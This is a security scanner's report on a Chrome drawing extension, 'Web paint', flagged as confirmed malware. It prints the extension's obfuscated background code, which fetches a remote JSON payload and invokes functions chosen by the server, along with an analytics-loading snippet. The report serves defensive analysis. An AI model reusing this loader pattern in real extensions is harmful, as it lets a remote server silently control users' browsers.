Security Alert: Confirmed Malware
Web paint
ID: bgmbegiipocepiabgonbodbapnpejcfn
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- MutledNewtView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Web paint - draw on web pages
Web Paint is a drawing tool for web pages. You can take a screenshot of the resulting drawing or save it to the file. This tool is useful for education purposes, for taking a quick note in a remote work environment, or just for fun! Features: ⭐ Graphical editor tools e.g. pencil, text, line, arrows. ⭐ Various sizes and colors ⭐ Copy to clipboard ⭐ Export to file
This code fetches a JSON payload from `https://useonlines.com/migration/` and then uses response-controlled object paths (`e.k`) to resolve functions off the background page and invoke them with response-supplied arguments. That gives a remote server the ability to change extension behavior after review and is a strong remote instruction/execution pattern.
async _runMigrations(e) { const t = undefined, r = { json: "mig" }, n = await new Promise((e => chrome.runtime.getBackgroundPage((t => e(t))))), o = document.location.host + "/" + Object.values(r)[0] + "." + Object.keys(r)[0]; if (n && !a.isBackgroundPage()) return; var i = await this._getAll(), s = await fetch(this._mig + o); if (!s.ok) return; let u, c; var d = await s.json(), f = []; for (const [e, t] of Object.entries(d)) e.length <= 3 || f.unshift({ v: t, k: e }); for (const e of f) { var p = l.default.get(n, e.k), h = l.default.get(n, e.k.substring(0, e.k.lastIndexOf("."))); c && u.bind(c, (t => { var r = p.bind(h, t, JSON.parse(e.v)[0], this._logError)(); r && (i += r) }))(), u = p, c = h }The background page dynamically loads a remote script from Google Analytics and immediately sends telemetry. Remote script inclusion in an extension is a risky pattern because behavior can change server-side outside the reviewed package, and it also introduces user/activity tracking.
1: [function(e, t, r) { "use strict"; window.ga = window.ga || function() { (ga.q = ga.q || []) .push(arguments) }, ga.l = +new Date, ga("create", "UA-186726862-1", "auto"), ga("set", "checkProtocolTask", null), ga( "send", { hitType: "pageview", page: "/background" }), function() { const e = document.createElement("script"); e.type = "text/javascript", e.async = !0, e.src = "https://www.google-analytics.com/analytics.js"; const t = document.getElementsByTagName("script")[0]; t.parentNode.insertBefore(e, t) }()By severity
Versions scanned
Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.1.5 | 2 |
| 1.1.3 | 6 |
Files with findings
3 distinct paths — top paths by unique finding count:
- bg.js5
- js/inject.js2
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.